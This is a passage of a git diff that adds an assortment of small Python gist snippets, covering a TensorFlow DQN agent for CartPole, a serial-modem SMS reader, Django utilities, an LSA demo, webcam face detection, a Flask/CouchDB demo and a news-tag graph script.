+                 stddev=0.01), name='W2')
+      b2 = tf.Variable(tf.zeros(self.HIDDEN2_SIZE), name='b2')
+      h2 = tf.nn.tanh(tf.matmul(h1, W2) + b2)
+    with tf.name_scope('output'):
+      W3 = tf.Variable(
+                 tf.truncated_normal([self.HIDDEN2_SIZE, self.output_size], 
+                 stddev=0.01), name='W3')
+      b3 = tf.Variable(tf.zeros(self.output_size), name='b3')
+      self.Q = tf.matmul(h2, W3) + b3
+    self.weights = [W1, b1, W2, b2, W3, b3]
+
+    # Loss
+    self.targetQ = tf.placeholder(tf.float32, [None])
+    self.targetActionMask = tf.placeholder(tf.float32, [None, self.output_size])
+    # TODO: Optimize this
+    q_values = tf.reduce_sum(tf.mul(self.Q, self.targetActionMask), 
+                  reduction_indices=[1])
+    self.loss = tf.reduce_mean(tf.square(tf.sub(q_values, self.targetQ)))
+
+    # Reguralization
+    for w in [W1, W2, W3]:
+      self.loss += self.REG_FACTOR * tf.reduce_sum(tf.square(w))
+
+    # Training
+    optimizer = tf.train.GradientDescentOptimizer(self.LEARNING_RATE)
+    global_step = tf.Variable(0, name='global_step', trainable=False)
+    self.train_op = optimizer.minimize(self.loss, global_step=global_step)
+
+  def train(self, num_episodes=NUM_EPISODES):
+    replay_memory = []
+
+    self.session = tf.Session()
+
+    # Summary for TensorBoard
+    tf.scalar_summary('loss', self.loss)
+    self.summary = tf.merge_all_summaries()
+    self.summary_writer = tf.train.SummaryWriter(self.LOG_DIR, self.session.graph)
+
+    self.session.run(tf.initialize_all_variables())
+    total_steps = 0
+
+    for episode in range(num_episodes):
+      print("Training: Episode = %d, Global step = %d" % (episode, total_steps))
+      state = self.env.reset()
+      target_weights = self.session.run(self.weights)
+
+      for step in range(self.MAX_STEPS):
+        # Pick the next action and execute it
+        action = None
+        if random.random() < self.RANDOM_ACTION_PROB:
+          action = self.env.action_space.sample()
+        else:
+          q_values = self.session.run(self.Q, feed_dict={self.x: [state]})
+          action = q_values.argmax()
+        self.RANDOM_ACTION_PROB *= self.RANDOM_ACTION_DECAY
+        obs, reward, done, _ = self.env.step(action)
+
+        # Update replay memory
+        if done:
+          reward = -100
+        replay_memory.append((state, action, reward, obs, done))
+        if len(replay_memory) > self.REPLAY_MEMORY_SIZE:
+          replay_memory.pop(0)
+        state = obs
+
+        # Sample a random minibatch and fetch max Q at s'
+        if len(replay_memory) >= self.MINIBATCH_SIZE:
+          minibatch = random.sample(replay_memory, self.MINIBATCH_SIZE)
+          next_states = [m[3] for m in minibatch]
+          # TODO: Optimize to skip terminal states
+          feed_dict = {self.x: next_states}
+          feed_dict.update(zip(self.weights, target_weights))
+          q_values = self.session.run(self.Q, feed_dict=feed_dict)
+          max_q_values = q_values.max(axis=1)
+
+          # Compute target Q values
+          target_q = np.zeros(self.MINIBATCH_SIZE)
+          target_action_mask = np.zeros((self.MINIBATCH_SIZE, self.output_size), dtype=int)
+          for i in range(self.MINIBATCH_SIZE):
+            _, action, reward, _, terminal = minibatch[i]
+            target_q[i] = reward
+            if not terminal:
+              target_q[i] += self.DISCOUNT_FACTOR * max_q_values[i]
+            target_action_mask[i][action] = 1
+
+          # Gradient descent
+          states = [m[0] for m in minibatch]
+          feed_dict = {
+            self.x: states, 
+            self.targetQ: target_q,
+            self.targetActionMask: target_action_mask,
+          }
+          _, summary = self.session.run([self.train_op, self.summary], 
+                                        feed_dict=feed_dict)
+
+          # Write summary for TensorBoard
+          if total_steps % 100 == 0:
+            self.summary_writer.add_summary(summary, total_steps)
+
+          # Update target weights
+          if total_steps % self.TARGET_UPDATE_FREQ == 0:
+            target_weights = self.session.run(self.weights)
+
+        total_steps += 1
+        if done:
+          break
+
+  def play(self):
+    state = self.env.reset()
+    done = False
+    steps = 0
+    while not done and steps < 200:
+      self.env.render()
+      q_values = self.session.run(self.Q, feed_dict={self.x: [state]})
+      action = q_values.argmax()
+      state, _, done, _ = self.env.step(action)
+      steps += 1
+    return steps
+
+if __name__ == '__main__':
+  dqn = DQN('CartPole-v0')
+  dqn.init_network()
+
+  dqn.env.monitor.start('/tmp/cartpole')
+  dqn.train()
+  dqn.env.monitor.close()
+
+  res = []
+  for i in range(100):
+    steps = dqn.play()
+    print("Test steps = ", steps)
+    res.append(steps)
+  print("Mean steps = ", sum(res) / len(res))
diff --git a/hard-gists/1262332/._snippet.py b/hard-gists/1262332/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1262332/._snippet.py differ
diff --git a/hard-gists/1262332/snippet.py b/hard-gists/1262332/snippet.py
new file mode 100644
index 00000000..d231b160
--- /dev/null
+++ b/hard-gists/1262332/snippet.py
@@ -0,0 +1,67 @@
+import serial
+import time
+from messaging.sms import SmsDeliver
+
+ser=serial.Serial('/dev/ttyACM0', baudrate=9600, timeout=.1, rtscts=0)
+
+def sendCommand(com):
+	ser.write(com+"\r\n")
+	time.sleep(2)
+	ret = []
+	while ser.inWaiting() > 0:
+		msg = ser.readline().strip()
+		msg = msg.replace("\r","")
+		msg = msg.replace("\n","")
+		if msg!="":
+			ret.append(msg)
+	return ret
+
+def readSMS():
+	print("LOOKING FOR SMS")
+	list = sendCommand("AT+CMGL=0")
+	ret = []
+	for item in list:
+		#print item
+		if item.startswith("+CMGL:") == False:
+			if item!="OK":
+				ret.append(SmsDeliver(item))
+	return ret
+
+def killSMS():
+	print("DELETING ALL MESSAGES")
+	print sendCommand("AT+CMGD=1,1")
+
+def main():
+	return
+	
+	print("SENDING HELLO")
+	com="ERROR"
+	count=0
+	while(com!="OK"):
+		com=sendCommand("AT")[0]
+		count+=1
+		if(count>5):
+			print "COULD NOT GET A HELLO, all I got was "+com
+			return
+	print("OK")
+	
+	print("CHANGING MESSAGE FORMAT")
+	print(sendCommand("AT+CMGF=0")[0])
+	while(True):
+		sms = readSMS()
+		
+		for s in sms:
+			print ""
+			print "SMS"
+			print s.text
+			time.sleep(1)
+		
+		time.sleep(6)
+		killSMS()
+
+if __name__ == "__main__":
+	if ser.isOpen():
+		main()
+	else:
+		print "ERROR: CAN't OPEN CONNECTION"
+	ser.close()
\ No newline at end of file
diff --git a/hard-gists/1264102/._snippet.py b/hard-gists/1264102/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1264102/._snippet.py differ
diff --git a/hard-gists/1264102/snippet.py b/hard-gists/1264102/snippet.py
new file mode 100644
index 00000000..1487d1c1
--- /dev/null
+++ b/hard-gists/1264102/snippet.py
@@ -0,0 +1,35 @@
+# coding:utf-8
+
+from sys import modules
+import gc
+import inspect
+
+import six
+
+from django.core.management.base import BaseCommand
+from django.dispatch.dispatcher import Signal, WeakMethod
+
+
+FORMATS = {
+    'vim': '{path}:{line}:{name}',
+    'human': '{name} in line {line} of {path}',
+}
+
+class Command(BaseCommand):
+    help = 'Show all signals receivers'
+    def add_arguments(self, parser):
+        parser.add_argument('--line_format', choices=FORMATS.keys(), default='human',
+                help='Line format (available choices: {0})'.format(', '.join(FORMATS))
+                )
+    def handle(self, *args, **options):
+        line_format = options['line_format']
+        if line_format not in FORMATS:
+            raise CommandError('format must be on of {0}, not {1}'.format(line_format, FORMATS.keys()))
+        msg = FORMATS[line_format]
+        signals = [obj for obj in gc.get_objects() if isinstance(obj, Signal)]
+        for signal in signals:
+            for receiver in signal.receivers:
+                _, receiver = receiver
+                func = receiver()
+                name = func.__qualname__ if six.PY3 else func.__name__
+                print(msg.format(name=name, line=inspect.getsourcelines(func)[1], path=inspect.getsourcefile(func)))
diff --git a/hard-gists/1265346/._snippet.py b/hard-gists/1265346/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1265346/._snippet.py differ
diff --git a/hard-gists/1265346/snippet.py b/hard-gists/1265346/snippet.py
new file mode 100644
index 00000000..6c96b0fe
--- /dev/null
+++ b/hard-gists/1265346/snippet.py
@@ -0,0 +1,51 @@
+import re
+import simplejson
+ 
+from django.http import HttpResponse
+from django.conf import settings
+
+
+class JSONResponse(HttpResponse):
+    def __init__(self, request, data):
+        indent = 2 if settings.DEBUG else None
+        mime = "text/javascript" if settings.DEBUG else "application/json"
+        content = simplejson.dumps(data, indent=indent)
+        callback = request.GET.get('callback')
+        if callback:
+            # verify that the callback is only letters, numbers, periods, and underscores
+            if re.compile(r'^[a-zA-Z][\w.]*$').match(callback):
+                content = '%s(%s);' % (callback, content)
+        super(JSONResponse, self).__init__(
+            content = content,
+            mimetype = mime,
+        )
+
+
+class JSONErrorResponse(JSONResponse):
+    def __init__(self, request, data):
+        super(JSONErrorResponse, self).__init__(request, {'error': data})
+
+
+class JSONResponseUnauthorized(JSONErrorResponse):
+    status_code = 401
+
+    def __init__(self, request, data):
+        super(JSONResponseUnauthorized, self).__init__(request, data)
+        self['WWW-Authenticate'] = 'Basic realm="%s"' % settings.SITE_NAME
+
+class JSONResponseForbidden(JSONErrorResponse):
+    status_code = 403
+
+    def __init__(self, request, data='Forbidden.'):
+        super(JSONResponseForbidden, self).__init__(request, data)
+
+class JSONResponseNotFound(JSONErrorResponse):
+    status_code = 404
+
+class JSONResponseMethodNotAllowed(JSONErrorResponse):
+    status_code = 405
+
+    def __init__(self, request, data=None):
+        if not data:
+            data = '%s method not allowed.' % request.method
+        super(JSONErrorResponse, self).__init__(request, data)
diff --git a/hard-gists/1267632/._snippet.py b/hard-gists/1267632/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1267632/._snippet.py differ
diff --git a/hard-gists/1267632/snippet.py b/hard-gists/1267632/snippet.py
new file mode 100644
index 00000000..5e637ee9
--- /dev/null
+++ b/hard-gists/1267632/snippet.py
@@ -0,0 +1,94 @@
+#!/usr/bin/python
+
+# reference => http://www.puffinwarellc.com/index.php/news-and-articles/articles/33.html
+
+from numpy import zeros
+from scipy.linalg import svd
+from math import log	# needed for TFIDF
+from numpy import asarray, sum
+
+titles = ["The Neatest Little Guide to Stock Market Investing",
+		"Investing For Dummies, 4th Edition",
+		"The Little Book of Common Sense Investing: The Only Way to Guarantee Your Fair Share of Stock Market Returns",
+		"The Little Book of Value Investing",
+		"Value Investing: From Graham to Buffett and Beyond",
+		"Rich Dad's Guide to Investing: What the Rich Invest in, That the Poor and the Middle Class Do Not!",
+		"Investing in Real Estate, 5th Edition",
+		"Stock Investing For Dummies",
+		"Rich Dad's Advisors: The ABC's of Real Estate Investing: The Secrets of Finding Hidden Profits Most Investors Miss"
+		]
+
+stopwords = ['and','edition','for','in','little','of','the','to']
+ignorechars = ''',:'!'''
+
+class LSA(object):
+	def __init__(self, stopwords, ignorechars):
+		self.stopwords = stopwords
+		self.ignorechars = ignorechars
+		self.wdict = {}
+		self.dcount = 0
+
+	def parse(self, doc):
+		words = doc.split();
+		for w in words:
+			w = w.lower().translate(None, self.ignorechars)
+			if w in self.stopwords:
+				continue
+			elif w in self.wdict:
+				self.wdict[w].append(self.dcount)
+			else:
+				self.wdict[w] = [self.dcount]
+		self.dcount += 1
+	
+	# rows -> keywords (occur more than twice), cols -> documentID
+	def build(self):
+		self.keys = [k for k in self.wdict.keys() if len(self.wdict[k]) > 1]
+		self.keys.sort()
+		self.A = zeros([len(self.keys), self.dcount])
+		for i, k in enumerate(self.keys):
+			for d in self.wdict[k]:
+				self.A[i,d] += 1
+	
+	def calc(self):
+		self.U, self.S, self.Vt = svd(self.A)
+	
+	def TFIDF(self):
+		WordsPerDoc = sum(self.A, axis=0)        
+		DocsPerWord = sum(asarray(self.A > 0, 'i'), axis=1)
+		rows, cols = self.A.shape
+		for i in range(rows):
+			for j in range(cols):
+				self.A[i,j] = (self.A[i,j] / WordsPerDoc[j]) * log(float(cols) / DocsPerWord[i])
+	
+	def printA(self):
+		print 'Here is the count matrix'
+		print self.A
+	
+	def printSVD(self):
+		print 'Here are the singular values'
+		print self.S
+		print 'Here are the first 3 columns of the U matrix'
+		print -1*self.U[:, 0:3]
+		print 'Here are the first 3 rows of the Vt matrix'
+		print -1*self.Vt[0:3, :]
+
+	def TFIDF(self):
+		WordsPerDoc = sum(self.A, axis=0) 
+		DocsPerWord = sum(asarray(self.A > 0, 'i'), axis=1) 
+		rows, cols = self.A.shape 
+		for i in range(rows):
+			for j in range(cols):
+				self.A[i,j] = (self.A[i,j] / WordsPerDoc[j]) * log(float(cols) / DocsPerWord[i])
+
+	@staticmethod
+	def main():
+		mylsa = LSA(stopwords, ignorechars)
+		for t in titles:
+			mylsa.parse(t)
+		mylsa.build()
+		mylsa.printA()
+		mylsa.calc()
+		mylsa.printSVD()
+
+if __name__ == '__main__':
+	LSA.main()
\ No newline at end of file
diff --git a/hard-gists/1268033/._snippet.py b/hard-gists/1268033/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1268033/._snippet.py differ
diff --git a/hard-gists/1268033/snippet.py b/hard-gists/1268033/snippet.py
new file mode 100644
index 00000000..64d370c8
--- /dev/null
+++ b/hard-gists/1268033/snippet.py
@@ -0,0 +1,20 @@
+from multiprocessing import Process
+from django.core import serializers
+from django.core.management import call_command
+from StringIO import StringIO
+
+def dump_database():
+    sio = StringIO()
+    call_command('dumpdata', stdout=sio, natural=True)
+    return sio.getvalue()
+
+def call_command_with_db(dbdump, *args, **kwargs):
+    objects = serializers.deserialize('json', dbdump)
+    for obj in objects:
+        obj.save()
+    return call_command(*args, **kwargs)
+
+def do_something():
+    dbdump = dump_database()
+    process = Process(target=call_command_with_db, args=(dbdump, 'runserver',))
+    process.start()
diff --git a/hard-gists/1269098/._snippet.py b/hard-gists/1269098/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1269098/._snippet.py differ
diff --git a/hard-gists/1269098/snippet.py b/hard-gists/1269098/snippet.py
new file mode 100644
index 00000000..d203c6e6
--- /dev/null
+++ b/hard-gists/1269098/snippet.py
@@ -0,0 +1,71 @@
+import sys
+import cv
+
+class FaceDetect():
+    def __init__(self):
+        cv.NamedWindow ("CamShiftDemo", 1)
+        device = 0
+        self.capture = cv.CaptureFromCAM(device)
+        capture_size = (320,200)
+        cv.SetCaptureProperty(self.capture, cv.CV_CAP_PROP_FRAME_WIDTH, capture_size[0])
+        cv.SetCaptureProperty(self.capture, cv.CV_CAP_PROP_FRAME_HEIGHT, capture_size[1])
+
+    def detect(self):
+        cv.CvtColor(self.frame, self.grayscale, cv.CV_RGB2GRAY)
+
+        #equalize histogram
+        cv.EqualizeHist(self.grayscale, self.grayscale)
+
+        # detect objects
+        faces = cv.HaarDetectObjects(image=self.grayscale, cascade=self.cascade, storage=self.storage, scale_factor=1.2,\
+                                     min_neighbors=2, flags=cv.CV_HAAR_DO_CANNY_PRUNING)
+
+        if faces:
+            #print 'face detected!'
+            for i in faces:
+                if i[1] > 10:
+                    cv.Circle(self.frame, ((2*i[0][0]+i[0][2])/2,(2*i[0][1]+i[0][3])/2), (i[0][2]+i[0][3])/4, (128, 255, 128), 2, 8, 0)
+
+    def run(self):
+        # check if capture device is OK
+        if not self.capture:
+            print "Error opening capture device"
+            sys.exit(1)
+
+        self.frame = cv.QueryFrame(self.capture)
+        self.image_size = cv.GetSize(self.frame)
+
+        # create grayscale version
+        self.grayscale = cv.CreateImage(self.image_size, 8, 1)
+
+        # create storage
+        self.storage = cv.CreateMemStorage(128)
+        self.cascade = cv.Load('haarcascade_frontalface_default.xml')
+
+        while 1:
+            # do forever
+            # capture the current frame
+            self.frame = cv.QueryFrame(self.capture)
+            if self.frame is None:
+                break
+
+            # mirror
+            cv.Flip(self.frame, None, 1)
+
+            # face detection
+            self.detect()
+
+            # display webcam image
+            cv.ShowImage('CamShiftDemo', self.frame)
+            # handle events
+            k = cv.WaitKey(10)
+
+            if k == 0x1b: # ESC
+                print 'ESC pressed. Exiting ...'
+                break
+                sys.exit(1)
+
+if __name__ == "__main__":
+    print "Press ESC to exit ..."
+    face_detect = FaceDetect()
+    face_detect.run() 
diff --git a/hard-gists/1269949/._snippet.py b/hard-gists/1269949/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1269949/._snippet.py differ
diff --git a/hard-gists/1269949/snippet.py b/hard-gists/1269949/snippet.py
new file mode 100644
index 00000000..7e31b4c8
--- /dev/null
+++ b/hard-gists/1269949/snippet.py
@@ -0,0 +1,63 @@
+from contextlib import contextmanager
+from django.contrib.messages.storage.base import BaseStorage, Message
+from django.test.client import RequestFactory
+from django.utils.decorators import method_decorator
+
+class TestMessagesBackend(BaseStorage):
+    def __init__(self, request, *args, **kwargs):
+        self._loaded_data = []
+        super(TestMessagesBackend, self).__init__(request, *args, **kwargs)
+        
+    def add(self, level, message, extra_tags=''):
+        self._loaded_data.append(Message(level, message, extra_tags=extra_tags))
+
+
+class Messages(object):
+    """
+    Mixin class for unittest(2).TestCase classes.
+
+    Usage:
+        
+        class MyTestCase(unittest2.TestCase, Messages):
+            def test_my_message_thing(self):
+                with self.messages_request() as request:
+                    do_something(request)
+                    self.assertMessageCount(request, 1)
+                    self.assertMessageInRequest(request, "My Message")
+                    self.assertMessageNotInRequest(request, "Not My Message")
+    """
+    def _prepare_request(self, request):
+        request._messages = TestMessagesBackend(request)
+        
+    @method_decorator(contextmanager)
+    def messages_request(self):
+        request = RequestFactory().get('/')
+        self._prepare_request(request)
+        yield request
+    
+    def assertMessageCount(self, request, expected):
+        actual_num = len(request._messages)
+        if actual_num != expected:
+            self.fail('Message count was %d, expected %d' %
+                (actual_num, expected))
+    
+    def assertMessageInRequest(self, request, message, level=None):
+        found = [msg for msg in request._messages if msg.message == message]
+        if level:
+            found = [msg for msg in found if msg.level == level]
+        if not found:
+            messages = ['%s (%s)' % (msg.message, msg.level) for msg in request._messages]
+            if level:
+                self.fail("Message %r with level %r not found in request. Available messages: %r" % (message, level, messages))
+            else:
+                self.fail("Message %r not found in request. Available messages: %r" % (message, messages))
+    
+    def assertMessageNotInRequest(self, request, message, level=None):
+        found = [msg for msg in request._messages if msg.message == message]
+        if level:
+            found = [msg for msg in found if msg.level == level]
+        if found:
+            if level:
+                self.fail("Message %r with level %r found in request" % (message, level))
+            else:
+                self.fail("Message %r found in request" % message)
\ No newline at end of file
diff --git a/hard-gists/127368f7dc810dd37fe18aee87dd2ee2/._snippet.py b/hard-gists/127368f7dc810dd37fe18aee87dd2ee2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/127368f7dc810dd37fe18aee87dd2ee2/._snippet.py differ
diff --git a/hard-gists/127368f7dc810dd37fe18aee87dd2ee2/snippet.py b/hard-gists/127368f7dc810dd37fe18aee87dd2ee2/snippet.py
new file mode 100644
index 00000000..17ba102d
--- /dev/null
+++ b/hard-gists/127368f7dc810dd37fe18aee87dd2ee2/snippet.py
@@ -0,0 +1,4 @@
+from psycogreen.gevent import patch_psycopg
+
+def post_fork(server, worker):
+    patch_psycopg()
diff --git a/hard-gists/1275204/._snippet.py b/hard-gists/1275204/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1275204/._snippet.py differ
diff --git a/hard-gists/1275204/snippet.py b/hard-gists/1275204/snippet.py
new file mode 100644
index 00000000..7986e23b
--- /dev/null
+++ b/hard-gists/1275204/snippet.py
@@ -0,0 +1,21 @@
+#views.py
+
+from django.views.generic import UpdateView
+
+class UpdateBook(UpdateView):
+
+    model = Book
+    form_class = BookForm
+    template_name = 'create_form.html'
+    success_url = '/books/'
+
+
+#urls.py
+
+from django.conf.urls import *
+from library.views import UpdateBook
+
+urlpatterns = patterns('',
+    url('^update_book/(?P<pk>[\w-]+)$', UpdateBook.as_view(), name='update_book'),
+)
+# you MUST pass a pk or slug param to this view
diff --git a/hard-gists/1277655/._snippet.py b/hard-gists/1277655/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1277655/._snippet.py differ
diff --git a/hard-gists/1277655/snippet.py b/hard-gists/1277655/snippet.py
new file mode 100644
index 00000000..7f4e570c
--- /dev/null
+++ b/hard-gists/1277655/snippet.py
@@ -0,0 +1,55 @@
+import simplejson
+from flask import Flask, g, request
+from couchdb.design import ViewDefinition
+import flaskext.couchdb
+
+
+app = Flask(__name__)
+
+"""
+CouchDB permanent view
+"""
+docs_by_author = ViewDefinition('docs', 'byauthor', 
+                                'function(doc) { emit(doc.author, doc);}')
+
+"""
+Retrieve docs
+"""
+@app.route("/<author_id>/docs")
+def docs(author_id):
+    docs = []
+    for row in docs_by_author(g.couch)[author_id]:
+        docs.append(row.value)
+    return simplejson.dumps(docs)
+
+"""
+Add doc
+"""
+@app.route("/<author_id>/add", methods=['POST'])
+def add_doc(author_id):
+    try:
+        # Build doc with posted values
+        doc = { 'author': author_id }
+        doc.update(request.form)
+        # Insert into database
+        g.couch.save(doc)
+        state = True
+    except Exception, e:
+        state = False
+    return simplejson.dumps({'ok': state})
+
+
+"""
+Flask main
+"""
+if __name__ == "__main__":
+    app.config.update(
+        DEBUG = True,
+        COUCHDB_SERVER = 'http://localhost:5984/',
+        COUCHDB_DATABASE = 'docsdemo'
+    )
+    manager = flaskext.couchdb.CouchDBManager()
+    manager.setup(app)
+    manager.add_viewdef(docs_by_author)  # Install the view
+    manager.sync(app)
+    app.run(host='0.0.0.0', port=5000)
diff --git a/hard-gists/1283684/._snippet.py b/hard-gists/1283684/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1283684/._snippet.py differ
diff --git a/hard-gists/1283684/snippet.py b/hard-gists/1283684/snippet.py
new file mode 100644
index 00000000..b540ba9d
--- /dev/null
+++ b/hard-gists/1283684/snippet.py
@@ -0,0 +1,130 @@
+# Script to generate a co-occurring tag graph from news articles via Guardian Platform API
+# This is a quick hack script - just get things done... Needs refactoring/tidying...
+
+import simplejson,urllib,csv,sys
+from itertools import combinations
+
+# D3.js json generator from https://bitbucket.org/hagberg/networkx-d3
+import d3
+
+
+import networkx as nx
+
+# A New York Times  API key will be required...
+APIKEY_NYT=''
+
+# accept a search phrase; this will be quoted in the actual search...
+try:
+	terms=sys.argv[1:]
+except:
+	exit(-1)
+
+# Create a filename that captures the search phrase
+fnx='nyt-'+'_'.join(terms)
+print 'Using',fnx
+
+# Build up the search phrase for the Guardian Platfrom API
+term='"'+' '.join(terms)+'"'
+enc=urllib.urlencode({'query':term})
+print '...'+term+'...',enc
+
+# We'll use NetworkX to construct a graph for the tag-tag network
+G=nx.Graph()
+
+# Generate the URL needed to call the New York Times Article API
+# At the moment the start date and the page number is hardwired
+# Need to tweak this to look at total number of results and page through them
+nyturl='http://api.nytimes.com/svc/search/v1/article?'+enc+'&fields=des_facet,title,url&api-key='+APIKEY_NYT
+
+# We're going to write a couple of Gephi files:
+
+# The first file is a bipartite graph from article to tag
+# That is: look up the articles that mention the search phrase,
+# then plot a graph of articleID-tag for each tag
+f=open(fnx+'.gdf','wb')
+writer = csv.writer(f)
+
+# The second file directly links tags to the tags they co-occur with.
+# That is, for each article, plot the tags associated with the article and edges between them.
+f2=open(fnx+'2.gdf','wb')
+writer2 = csv.writer(f2)
+
+# Call the API
+dr=[]
+page=0
+more=True
+while page<5 and more==True:
+	nytpurl=nyturl+'&offset='+str(page)
+	tmpdata = simplejson.load(urllib.urlopen(nytpurl))
+	page=page+1
+	if tmpdata['total'] < page*10: more=False
+	for r in tmpdata['results']: dr.append(r)
+
+
+# This is a reminder that the results aren't paged (yet!) and you just get the most recent 50
+
+edges=[]
+edges2=[]
+nodes={}
+nodes2={}
+
+# For each article in the results set:
+for result in dr:
+	# Collect a list of tags associated with the current article
+	tags=[]
+	if 'des_facet' in result:
+		taglist=result['des_facet']
+		# Build up a list of unique node IDs, firstly using article IDs for the article-tag graph
+		if result['url'] not in nodes:
+			nodes[result['url']]=( result['url'],result["title"].encode('utf-8') )
+		# Now handle the article tags
+		for tag in taglist:
+			print result['url'],tag,tag
+			edges.append((result['url'],tag))
+			# Build up a list of tags associated with this article
+			tags.append(tag)
+			# Add the tags to the unique list of node IDs
+			if tag not in nodes:
+				nodes[tag]= ( tag, tag)
+				nodes2[tag]= ( tag, tag )
+				G.add_node(tag,label=tag)
+		# For the tag-tag graph, we need to list the various tag combinations for this article
+		combos=map(list, combinations(tags, 2))
+		for c in combos:
+			edges2.append((c[0],c[1]))
+			G.add_edge(c[0],c[1])
+
+#I originally had a clunky recipe for outputting Gephi gdf files.
+#As we have networkx loaded and representing the graph it much easy to write files directly:
+#filepathandname='something Appropriate'
+#nx.write_graphml(G, filepathandname+".graphml")
+#edgelist (eg for use in R)
+#nx.write_edgelist(G, filepathandname+".txt",data=False)
+
+# Here's the clunky way of printing out the article-tag nodelist
+writer.writerow(['nodedef>name VARCHAR','label VARCHAR'])
+for node in nodes:
+	n1,n2=nodes[node]
+	writer.writerow([ n1,n2 ])
+
+# Print out the tag-tag nodelist
+writer2.writerow(['nodedef>name VARCHAR','label VARCHAR'])
+for node in nodes2:
+	n1,n2=nodes[node]
+	writer2.writerow([ n1, n2 ])
+
+# Print out the article-tag edgelist
+writer.writerow(['edgedef>from VARCHAR','to VARCHAR'])
+for e1,e2 in edges:
+	writer.writerow([ e1, e2 ])
+
+# Print out the tag-tag edgelist
+writer2.writerow(['edgedef>from VARCHAR','to VARCHAR'])
+for e1,e2 in edges2:
+	writer2.writerow([ e1, e2 ])
+
+# Tidy up...	
+f.close()
+f2.close()
+
+d3.draw_force(G,'force/force.json')
\ No newline at end of file
diff --git a/hard-gists/1284577/._snippet.py b/hard-gists/1284577/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1284577/._snippet.py differ
diff --git a/hard-gists/1284577/snippet.py b/hard-gists/1284577/snippet.py
new file mode 100644
index 00000000..506a6507
--- /dev/null
+++ b/hard-gists/1284577/snippet.py
@@ -0,0 +1,12 @@
+#!/usr/bin/env python
+
+import sys
+import yaml
+import pprint
+
+filename = sys.argv[1]
+
+y = yaml.safe_load(open(filename, 'r'))
+
+pp = pprint.PrettyPrinter(indent=4)
+pp.pprint(y)
diff --git a/hard-gists/1285742/._snippet.py b/hard-gists/1285742/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1285742/._snippet.py differ
diff --git a/hard-gists/1285742/snippet.py b/hard-gists/1285742/snippet.py
new file mode 100644
index 00000000..277e1171
--- /dev/null
+++ b/hard-gists/1285742/snippet.py
@@ -0,0 +1,79 @@
+#!/usr/bin/python
+
+import Image
+import hashlib
+from operator import itemgetter
+import sys
+import os.path
+
+def convert(theImage, dimension = 0, sliceWidth = 1):
+    theSliceLength = theImage.size[1 - dimension]
+
+    # Compute hashes of all 1 pixel slices (either columns or rows) in the image
+    theSlices = []
+    for N in xrange(0, theImage.size[dimension], sliceWidth):
+        slice = theImage.copy()
+        if dimension == 0:
+            slice = slice.crop((N, 0, N + sliceWidth, theSliceLength))
+        else:
+            slice = slice.crop((0, N, theSliceLength, N + sliceWidth))
+        # Using hashlib to make printable values. Could just use raw string.
+        theSlices.append(hashlib.md5(slice.tostring()).hexdigest())
+
+    # Count frequency of all but first and last slices
+    theSliceFrequencies = {}
+    for theSlice in theSlices[sliceWidth:-sliceWidth]:
+        if theSlice not in theSliceFrequencies:
+            theSliceFrequencies[theSlice] = 0
+        theSliceFrequencies[theSlice] += 1
+    theSliceFrequencies = [(k, v) for k, v in theSliceFrequencies.items()]
+
+    # Find the most common frequency
+    theSliceFrequencies.sort(key=itemgetter(1), reverse=True)
+    theMostFrequentSlice = theSliceFrequencies[0][0]
+
+    # Compute the size of the new image
+    theNewDimensionSize = 1
+    for theSlice in theSlices:
+        if theSlice != theMostFrequentSlice:
+            theNewDimensionSize += 1
+    theNewDimensionSize *= sliceWidth
+
+    if dimension == 0:
+        theNewSize = (theNewDimensionSize, theSliceLength)
+    else:
+        theNewSize = (theSliceLength, theNewDimensionSize)
+
+    # Make a new image. Skipping over all but one of the most frequent slice.
+    theNewImage = Image.new('RGBA', theNewSize)
+    OUT = 0
+    theFlag = False
+    for IN, theSlice in enumerate(theSlices):
+        IN *= sliceWidth
+        if theSlice == theMostFrequentSlice:
+            if theFlag == True:
+                continue
+            theFlag = True
+
+        slice = theImage.copy()
+        if dimension == 0:
+            slice = slice.crop((IN, 0, IN + sliceWidth, theSliceLength))
+            theNewImage.paste(slice, (OUT, 0, OUT + sliceWidth, theSliceLength))
+        else:
+            slice = slice.crop((0, IN, theSliceLength, IN + sliceWidth))
+            theNewImage.paste(slice, (0, OUT, theSliceLength, OUT + sliceWidth))
+            pass
+        OUT += sliceWidth
+
+    return theNewImage
+
+if __name__ == '__main__':
+    thePath = '/Users/schwa/Desktop/DoneButton.png'
+    sliceWidth = 1
+    if '@2x' in thePath:
+        sliceWidth = 2
+    theImage = Image.open(thePath)
+    theImage = convert(theImage, dimension = 0, sliceWidth = sliceWidth)
+    theImage = convert(theImage, dimension = 1, sliceWidth = sliceWidth)
+    theNewPath = os.path.splitext(thePath)[0] + '_converted.png'
+    theImage.save(theNewPath)
diff --git a/hard-gists/1288025/._snippet.py b/hard-gists/1288025/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1288025/._snippet.py differ
diff --git a/hard-gists/1288025/snippet.py b/hard-gists/1288025/snippet.py
new file mode 100644
index 00000000..8ab715ac
--- /dev/null
+++ b/hard-gists/1288025/snippet.py
@@ -0,0 +1,120 @@
+from django.views.generic import dates
+from django.views.generic.list import ListView
+from django.views.generic.detail import DetailView
+from django.contrib.syndication.views import Feed
+from django.shortcuts import get_object_or_404
+from django.db.models import Q, Count, Aggregate
+from fallen.models import Casualty, Theater, Branch, HomeState, CauseOfDeath, IncidentProvince
+from django.template.defaultfilters import upper
+from haystack.views import SearchView
